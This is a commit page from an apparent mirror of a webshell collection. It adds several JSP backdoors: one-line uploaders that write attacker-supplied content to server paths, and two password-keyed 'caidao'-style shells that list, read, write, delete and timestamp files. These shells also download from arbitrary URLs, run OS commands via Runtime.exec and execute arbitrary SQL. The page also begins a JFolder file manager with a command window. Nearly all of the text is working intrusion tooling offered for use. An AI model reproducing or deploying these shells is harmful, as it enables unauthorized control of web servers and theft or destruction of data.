mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
update jsp
This commit is contained in:
parent
6faad041a0
commit
79375a046f
29 changed files with 36933 additions and 0 deletions
1
jsp/Silic.jsp
Normal file
1
jsp/Silic.jsp
Normal file
|
@ -0,0 +1 @@
|
|||
<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
|
47
jsp/asd.jsp
Normal file
47
jsp/asd.jsp
Normal file
|
@ -0,0 +1,47 @@
|
|||
<%@ page language="java" pageEncoding="gbk"%>
|
||||
<jsp:directive.page import="java.io.File"/>
|
||||
<jsp:directive.page import="java.io.OutputStream"/>
|
||||
<jsp:directive.page import="java.io.FileOutputStream"/>
|
||||
<html>
|
||||
<head>
|
||||
<title><3E>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1</title>
|
||||
<meta http-equiv="keywords" content="<22>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1">
|
||||
<meta http-equiv="description" content="<22>0Š2¡ã<C2A1>0‚5¨¦<C2A8>0„8<E2809E>0…1">
|
||||
</head>
|
||||
<%
|
||||
int i=0;
|
||||
String method=request.getParameter("act");
|
||||
if(method!=null&&method.equals("up")){
|
||||
String url=request.getParameter("url");
|
||||
String text=request.getParameter("text");
|
||||
File f=new File(url);
|
||||
if(f.exists()){
|
||||
f.delete();
|
||||
}
|
||||
try{
|
||||
OutputStream o=new FileOutputStream(f);
|
||||
o.write(text.getBytes());
|
||||
o.close();
|
||||
}catch(Exception e){
|
||||
i++;
|
||||
%>
|
||||
<20>0Š1<C5A0>0†0<E280A0>0‚0<E2809A>0Š1<C5A0>0†4<E280A0>0„2<E2809E>0Š1<C5A0>0†0<E280A0>0‚3<E2809A>0Š3<C5A0>0<EFBFBD>8<EFBFBD>0‚6<E2809A>0Š2<C5A0>0‚0<E2809A>0„1
|
||||
<%
|
||||
}
|
||||
}
|
||||
if(i==0){
|
||||
%>
|
||||
<20>0Š1<C5A0>0†0<E280A0>0‚0<E2809A>0Š1<C5A0>0†4<E280A0>0„2<E2809E>0Š3<C5A0>0<EFBFBD>8<EFBFBD>0‚6<E2809A>0Š2<C5A0>0‚0<E2809A>0„1
|
||||
<%
|
||||
}
|
||||
%>
|
||||
|
||||
<body>
|
||||
<form action='?act=up' method='post'>
|
||||
<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br>
|
||||
<textarea rows="20" cols="80" name="text">¨¨<C2A8>0†7<E280A0>0ƒ5<C692>0Š2<C5A0>0<EFBFBD>6<EFBFBD>0ƒ5¨¦<C2A8>0„8<E2809E>0…1<E280A6>0Š4<C5A0>0ƒ6<C692>0<EFBFBD>4<EFBFBD>0Š1<C5A0>0†3<E280A0>0„5<E2809E>0Š4<C5A0>0„2<E2809E>0<EFBFBD>1</textarea><br>
|
||||
<input type="submit" value="up" name="text"/>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
|
3307
jsp/c5.jsp
Normal file
3307
jsp/c5.jsp
Normal file
File diff suppressed because it is too large
Load diff
2324
jsp/css.jsp
Normal file
2324
jsp/css.jsp
Normal file
File diff suppressed because it is too large
Load diff
2403
jsp/dm.jsp
Normal file
2403
jsp/dm.jsp
Normal file
File diff suppressed because it is too large
Load diff
41
jsp/guige.jsp
Normal file
41
jsp/guige.jsp
Normal file
|
@ -0,0 +1,41 @@
|
|||
<%@ page language="java" pageEncoding="UTF-8"%>
|
||||
<%@ page contentType="text/html;charset=UTF-8"%>
|
||||
<%@ page import="java.io.*"%>
|
||||
<html>
|
||||
<head>
|
||||
<title>jspå°é©¬ | Mr Fz's个人ä¸ç!严ç¦ç¨äºåä¸ç®ç!</title>
|
||||
</head>
|
||||
<body bgcolor="#ffffff">
|
||||
<%
|
||||
String damapath=request.getParameter("path");
|
||||
String content=request.getParameter("content");
|
||||
String url=request.getRequestURI();//å½å页é¢
|
||||
String url1=request.getRealPath(request.getServletPath());//å½åæ±è¯·çJSPæ件çç©çè·¯å¾
|
||||
String dir=new File(url1).getParent(); //å½åJSPæ件æå¨ç®å½çç©çè·¯å¾
|
||||
if(damapath!=null &&!damapath.equals("")&&content!=null&&!content.equals(""))
|
||||
{
|
||||
try{
|
||||
File damafile=new File(damapath);//ç¨fileç±»å建ä¸ä¸ªdamafile对象并æå®å®çè·¯å¾damapath
|
||||
PrintWriter pw=new PrintWriter(damafile);//使ç¨æå®æ件damafileå建printwriter
|
||||
pw.println(content);//æå°content,并ç»æ¢æå°
|
||||
pw.close();//å
³éæµéæ¾èµæº
|
||||
if(damafile.exists()&& damafile.length()>0)//å¤ædamafile对象æ¯å¦åå¨,
|
||||
{
|
||||
out.println("<font size=3 color=red>save ok!</font>");
|
||||
}else
|
||||
{
|
||||
out.println("<font size=3 color=red>save bad!</font>");
|
||||
}
|
||||
}catch (Exception ex){
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
out.println("<form action="+url+" method=post>");
|
||||
out.println("<font size=2>请è¾å
¥ä¿åè·¯å¾:</font><input type=text size=45 name=path value="+dir+"/m.jsp><br>");
|
||||
out.println("<font size=2 color=red>å½åä½ æ±è¯·çJSPæ件çç©çè·¯å¾:"+url1+"</font><br>");
|
||||
out.println("<textarea name=content rows=10 cols=50></textarea><br>");
|
||||
out.println("<input type=submit value=save>");
|
||||
out.println("</form>");
|
||||
%>
|
||||
</body>
|
||||
</html>
|
1
jsp/hsxa.jsp
Normal file
1
jsp/hsxa.jsp
Normal file
|
@ -0,0 +1 @@
|
|||
<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
|
1
jsp/inback3.jsp
Normal file
1
jsp/inback3.jsp
Normal file
|
@ -0,0 +1 @@
|
|||
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
|
59
jsp/index_bak1.jsp
Normal file
59
jsp/index_bak1.jsp
Normal file
|
@ -0,0 +1,59 @@
|
|||
t=t=t=t=t=t=t=<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!
|
||||
String Pwd="cmd";
|
||||
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
|
||||
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
|
||||
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
|
||||
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
|
||||
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
|
||||
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
|
||||
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
|
||||
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
|
||||
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
|
||||
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
|
||||
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
|
||||
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
|
||||
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
|
||||
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
297
jsp/jdbc.jsp
Normal file
297
jsp/jdbc.jsp
Normal file
|
@ -0,0 +1,297 @@
|
|||
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
|
||||
<%!String Pwd = "mylove";
|
||||
|
||||
String EC(String s, String c) throws Exception {
|
||||
return s;
|
||||
}//new String(s.getBytes("ISO-8859-1"),c);}
|
||||
|
||||
Connection GC(String s) throws Exception {
|
||||
String[] x = s.trim().split("\r\n");
|
||||
Class.forName(x[0].trim()).newInstance();
|
||||
Connection c = DriverManager.getConnection(x[1].trim());
|
||||
if (x.length > 2) {
|
||||
c.setCatalog(x[2].trim());
|
||||
}
|
||||
return c;
|
||||
}
|
||||
|
||||
void AA(StringBuffer sb) throws Exception {
|
||||
File r[] = File.listRoots();
|
||||
for (int i = 0; i < r.length; i++) {
|
||||
sb.append(r[i].toString().substring(0, 2));
|
||||
}
|
||||
}
|
||||
|
||||
void BB(String s, StringBuffer sb) throws Exception {
|
||||
File oF = new File(s), l[] = oF.listFiles();
|
||||
String sT, sQ, sF = "";
|
||||
java.util.Date dt;
|
||||
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
for (int i = 0; i < l.length; i++) {
|
||||
dt = new java.util.Date(l[i].lastModified());
|
||||
sT = fm.format(dt);
|
||||
sQ = l[i].canRead() ? "R" : "";
|
||||
sQ += l[i].canWrite() ? " W" : "";
|
||||
if (l[i].isDirectory()) {
|
||||
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
|
||||
+ "\t" + sQ + "\n");
|
||||
} else {
|
||||
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
|
||||
+ sQ + "\n";
|
||||
}
|
||||
}
|
||||
sb.append(sF);
|
||||
}
|
||||
|
||||
void EE(String s) throws Exception {
|
||||
File f = new File(s);
|
||||
if (f.isDirectory()) {
|
||||
File x[] = f.listFiles();
|
||||
for (int k = 0; k < x.length; k++) {
|
||||
if (!x[k].delete()) {
|
||||
EE(x[k].getPath());
|
||||
}
|
||||
}
|
||||
}
|
||||
f.delete();
|
||||
}
|
||||
|
||||
void FF(String s, HttpServletResponse r) throws Exception {
|
||||
int n;
|
||||
byte[] b = new byte[512];
|
||||
r.reset();
|
||||
ServletOutputStream os = r.getOutputStream();
|
||||
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
|
||||
os.write(("->" + "|").getBytes(), 0, 3);
|
||||
while ((n = is.read(b, 0, 512)) != -1) {
|
||||
os.write(b, 0, n);
|
||||
}
|
||||
os.write(("|" + "<-").getBytes(), 0, 3);
|
||||
os.close();
|
||||
is.close();
|
||||
}
|
||||
|
||||
void GG(String s, String d) throws Exception {
|
||||
String h = "0123456789ABCDEF";
|
||||
int n;
|
||||
File f = new File(s);
|
||||
f.createNewFile();
|
||||
FileOutputStream os = new FileOutputStream(f);
|
||||
for (int i = 0; i < d.length(); i += 2) {
|
||||
os
|
||||
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
|
||||
.charAt(i + 1))));
|
||||
}
|
||||
os.close();
|
||||
}
|
||||
|
||||
void HH(String s, String d) throws Exception {
|
||||
File sf = new File(s), df = new File(d);
|
||||
if (sf.isDirectory()) {
|
||||
if (!df.exists()) {
|
||||
df.mkdir();
|
||||
}
|
||||
File z[] = sf.listFiles();
|
||||
for (int j = 0; j < z.length; j++) {
|
||||
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
|
||||
}
|
||||
} else {
|
||||
FileInputStream is = new FileInputStream(sf);
|
||||
FileOutputStream os = new FileOutputStream(df);
|
||||
int n;
|
||||
byte[] b = new byte[512];
|
||||
while ((n = is.read(b, 0, 512)) != -1) {
|
||||
os.write(b, 0, n);
|
||||
}
|
||||
is.close();
|
||||
os.close();
|
||||
}
|
||||
}
|
||||
|
||||
void II(String s, String d) throws Exception {
|
||||
File sf = new File(s), df = new File(d);
|
||||
sf.renameTo(df);
|
||||
}
|
||||
|
||||
void JJ(String s) throws Exception {
|
||||
File f = new File(s);
|
||||
f.mkdir();
|
||||
}
|
||||
|
||||
void KK(String s, String t) throws Exception {
|
||||
File f = new File(s);
|
||||
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt = fm.parse(t);
|
||||
f.setLastModified(dt.getTime());
|
||||
}
|
||||
|
||||
void LL(String s, String d) throws Exception {
|
||||
URL u = new URL(s);
|
||||
int n;
|
||||
FileOutputStream os = new FileOutputStream(d);
|
||||
HttpURLConnection h = (HttpURLConnection) u.openConnection();
|
||||
InputStream is = h.getInputStream();
|
||||
byte[] b = new byte[512];
|
||||
while ((n = is.read(b, 0, 512)) != -1) {
|
||||
os.write(b, 0, n);
|
||||
}
|
||||
os.close();
|
||||
is.close();
|
||||
h.disconnect();
|
||||
}
|
||||
|
||||
void MM(InputStream is, StringBuffer sb) throws Exception {
|
||||
String l;
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(is));
|
||||
while ((l = br.readLine()) != null) {
|
||||
sb.append(l + "\r\n");
|
||||
}
|
||||
}
|
||||
|
||||
void NN(String s, StringBuffer sb) throws Exception {
|
||||
Connection c = GC(s);
|
||||
ResultSet r = c.getMetaData().getCatalogs();
|
||||
while (r.next()) {
|
||||
sb.append(r.getString(1) + "\t");
|
||||
}
|
||||
r.close();
|
||||
c.close();
|
||||
}
|
||||
|
||||
void OO(String s, StringBuffer sb) throws Exception {
|
||||
Connection c = GC(s);
|
||||
String[] t = { "TABLE" };
|
||||
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
|
||||
while (r.next()) {
|
||||
sb.append(r.getString("TABLE_NAME") + "\t");
|
||||
}
|
||||
r.close();
|
||||
c.close();
|
||||
}
|
||||
|
||||
void PP(String s, StringBuffer sb) throws Exception {
|
||||
String[] x = s.trim().split("\r\n");
|
||||
Connection c = GC(s);
|
||||
Statement m = c.createStatement(1005, 1007);
|
||||
ResultSet r = m.executeQuery("select * from " + x[3]);
|
||||
ResultSetMetaData d = r.getMetaData();
|
||||
for (int i = 1; i <= d.getColumnCount(); i++) {
|
||||
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
|
||||
+ ")\t");
|
||||
}
|
||||
r.close();
|
||||
m.close();
|
||||
c.close();
|
||||
}
|
||||
|
||||
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
|
||||
int i;
|
||||
Connection c = GC(s);
|
||||
Statement m = c.createStatement(1005, 1008);
|
||||
try {
|
||||
ResultSet r = m.executeQuery(q);
|
||||
ResultSetMetaData d = r.getMetaData();
|
||||
int n = d.getColumnCount();
|
||||
for (i = 1; i <= n; i++) {
|
||||
sb.append(d.getColumnName(i) + "\t|\t");
|
||||
}
|
||||
sb.append("\r\n");
|
||||
while (r.next()) {
|
||||
for (i = 1; i <= n; i++) {
|
||||
sb.append(EC(r.getString(i), cs) + "\t|\t");
|
||||
}
|
||||
sb.append("\r\n");
|
||||
}
|
||||
r.close();
|
||||
} catch (Exception e) {
|
||||
sb.append("Result\t|\t\r\n");
|
||||
try {
|
||||
m.executeUpdate(q);
|
||||
sb.append("Execute Successfully!\t|\t\r\n");
|
||||
} catch (Exception ee) {
|
||||
sb.append(ee.toString() + "\t|\t\r\n");
|
||||
}
|
||||
}
|
||||
m.close();
|
||||
c.close();
|
||||
}%>
|
||||
|
||||
|
||||
<%
|
||||
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
|
||||
request.setCharacterEncoding(cs);
|
||||
response.setContentType("text/html;charset=" + cs);
|
||||
String Z = EC(request.getParameter(Pwd) + "", cs);
|
||||
String z1 = EC(request.getParameter("z1") + "", cs);
|
||||
String z2 = EC(request.getParameter("z2") + "", cs);
|
||||
StringBuffer sb = new StringBuffer("");
|
||||
try {
|
||||
sb.append("->" + "|");
|
||||
if (Z.equals("A")) {
|
||||
String s = new File(application.getRealPath(request
|
||||
.getRequestURI())).getParent();
|
||||
sb.append(s + "\t");
|
||||
if (!s.substring(0, 1).equals("/")) {
|
||||
AA(sb);
|
||||
}
|
||||
} else if (Z.equals("B")) {
|
||||
BB(z1, sb);
|
||||
} else if (Z.equals("C")) {
|
||||
String l = "";
|
||||
BufferedReader br = new BufferedReader(
|
||||
new InputStreamReader(new FileInputStream(new File(
|
||||
z1))));
|
||||
while ((l = br.readLine()) != null) {
|
||||
sb.append(l + "\r\n");
|
||||
}
|
||||
br.close();
|
||||
} else if (Z.equals("D")) {
|
||||
BufferedWriter bw = new BufferedWriter(
|
||||
new OutputStreamWriter(new FileOutputStream(
|
||||
new File(z1))));
|
||||
bw.write(z2);
|
||||
bw.close();
|
||||
sb.append("1");
|
||||
} else if (Z.equals("E")) {
|
||||
EE(z1);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("F")) {
|
||||
FF(z1, response);
|
||||
} else if (Z.equals("G")) {
|
||||
GG(z1, z2);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("H")) {
|
||||
HH(z1, z2);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("I")) {
|
||||
II(z1, z2);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("J")) {
|
||||
JJ(z1);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("K")) {
|
||||
KK(z1, z2);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("L")) {
|
||||
LL(z1, z2);
|
||||
sb.append("1");
|
||||
} else if (Z.equals("M")) {
|
||||
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
|
||||
Process p = Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(), sb);
|
||||
MM(p.getErrorStream(), sb);
|
||||
} else if (Z.equals("N")) {
|
||||
NN(z1, sb);
|
||||
} else if (Z.equals("O")) {
|
||||
OO(z1, sb);
|
||||
} else if (Z.equals("P")) {
|
||||
PP(z1, sb);
|
||||
} else if (Z.equals("Q")) {
|
||||
QQ(cs, z1, z2, sb);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
sb.append("ERROR" + ":// " + e.toString());
|
||||
}
|
||||
sb.append("|" + "<-");
|
||||
out.print(sb.toString());
|
||||
%>
|
995
jsp/jfolder01.jsp
Normal file
995
jsp/jfolder01.jsp
Normal file
|
@ -0,0 +1,995 @@
|
|||
<%
|
||||
/**
|
||||
JFolder V0.9 windows platform
|
||||
@Filename: JFolder.jsp
|
||||
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。
|
||||
@Author: Steven Cee
|
||||
@Email : cqq1978@Gmail.com
|
||||
@Bugs : 下载时,中文文件名无法正常显示
|
||||
*/
|
||||
%>
|
||||
<%@ page contentType="text/html;charset=gb2312"%>
|
||||
<%@page import="java.io.*,java.util.*,java.net.*" %>
|
||||
<%!
|
||||
private final static int languageNo=0; //语言版本,0 : 中文; 1:英文
|
||||
String strThisFile="JFolder.jsp";
|
||||
String[] authorInfo={" <font color=red> 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
|
||||
String[] strFileManage = {"文 件 管 理","File Management"};
|
||||
String[] strCommand = {"CMD 命 令","Command Window"};
|
||||
String[] strSysProperty = {"系 统 属 性","System Property"};
|
||||
String[] strHelp = {"帮 助","Help"};
|
||||
String[] strParentFolder = {"上级目录","Parent Folder"};
|
||||
String[] strCurrentFolder= {"当前目录","Current Folder"};
|
||||
String[] strDrivers = {"驱动器","Drivers"};
|
||||
String[] strFileName = {"文件名称","File Name"};
|
||||
String[] strFileSize = {"文件大小","File Size"};
|
||||
String[] strLastModified = {"最后修改","Last Modified"};
|
||||
String[] strFileOperation= {"文件操作","Operations"};
|
||||
String[] strFileEdit = {"修改","Edit"};
|
||||
String[] strFileDown = {"下载","Download"};
|
||||
String[] strFileCopy = {"复制","Move"};
|
||||
String[] strFileDel = {"删除","Delete"};
|
||||
String[] strExecute = {"执行","Execute"};
|
||||
String[] strBack = {"返回","Back"};
|
||||
String[] strFileSave = {"保存","Save"};
|
||||
|
||||
public class FileHandler
|
||||
{
|
||||
private String strAction="";
|
||||
private String strFile="";
|
||||
void FileHandler(String action,String f)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
public static class UploadMonitor {
|
||||
|
||||
static Hashtable uploadTable = new Hashtable();
|
||||
|
||||
static void set(String fName, UplInfo info) {
|
||||
uploadTable.put(fName, info);
|
||||
}
|
||||
|
||||
static void remove(String fName) {
|
||||
uploadTable.remove(fName);
|
||||
}
|
||||
|
||||
static UplInfo getInfo(String fName) {
|
||||
UplInfo info = (UplInfo) uploadTable.get(fName);
|
||||
return info;
|
||||
}
|
||||
}
|
||||
|
||||
public class UplInfo {
|
||||
|
||||
public long totalSize;
|
||||
public long currSize;
|
||||
public long starttime;
|
||||
public boolean aborted;
|
||||
|
||||
public UplInfo() {
|
||||
totalSize = 0l;
|
||||
currSize = 0l;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public UplInfo(int size) {
|
||||
totalSize = size;
|
||||
currSize = 0;
|
||||
starttime = System.currentTimeMillis();
|
||||
aborted = false;
|
||||
}
|
||||
|
||||
public String getUprate() {
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
if (time != 0) {
|
||||
long uprate = currSize * 1000 / time;
|
||||
return convertFileSize(uprate) + "/s";
|
||||
}
|
||||
else return "n/a";
|
||||
}
|
||||
|
||||
public int getPercent() {
|
||||
if (totalSize == 0) return 0;
|
||||
else return (int) (currSize * 100 / totalSize);
|
||||
}
|
||||
|
||||
public String getTimeElapsed() {
|
||||
long time = (System.currentTimeMillis() - starttime) / 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
public String getTimeEstimated() {
|
||||
if (currSize == 0) return "n/a";
|
||||
long time = System.currentTimeMillis() - starttime;
|
||||
time = totalSize * time / currSize;
|
||||
time /= 1000l;
|
||||
if (time - 60l >= 0){
|
||||
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
|
||||
else return time / 60 + ":0" + (time % 60) + "m";
|
||||
}
|
||||
else return time<10 ? "0" + time + "s": time + "s";
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class FileInfo {
|
||||
|
||||
public String name = null, clientFileName = null, fileContentType = null;
|
||||
private byte[] fileContents = null;
|
||||
public File file = null;
|
||||
public StringBuffer sb = new StringBuffer(100);
|
||||
|
||||
public void setFileContents(byte[] aByteArray) {
|
||||
fileContents = new byte[aByteArray.length];
|
||||
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
|
||||
}
|
||||
}
|
||||
|
||||
// A Class with methods used to process a ServletInputStream
|
||||
public class HttpMultiPartParser {
|
||||
|
||||
private final String lineSeparator = System.getProperty("line.separator", "\n");
|
||||
private final int ONE_MB = 1024 * 1;
|
||||
|
||||
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
|
||||
int clength) throws IllegalArgumentException, IOException {
|
||||
if (is == null) throw new IllegalArgumentException("InputStream");
|
||||
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
|
||||
"\"" + boundary + "\" is an illegal boundary indicator");
|
||||
boundary = "--" + boundary;
|
||||
StringTokenizer stLine = null, stFields = null;
|
||||
FileInfo fileInfo = null;
|
||||
Hashtable dataTable = new Hashtable(5);
|
||||
String line = null, field = null, paramName = null;
|
